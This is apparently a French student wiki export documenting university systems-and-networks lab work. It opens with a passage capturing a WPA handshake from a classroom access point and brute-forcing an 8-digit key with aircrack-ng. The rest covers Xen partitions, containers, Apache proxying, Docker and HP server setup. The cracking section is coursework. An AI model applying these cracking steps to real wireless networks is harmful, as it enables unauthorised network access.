On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvde1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48740</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48740"/>
				<updated>2018-12-15T18:29:03Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Var et Home */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
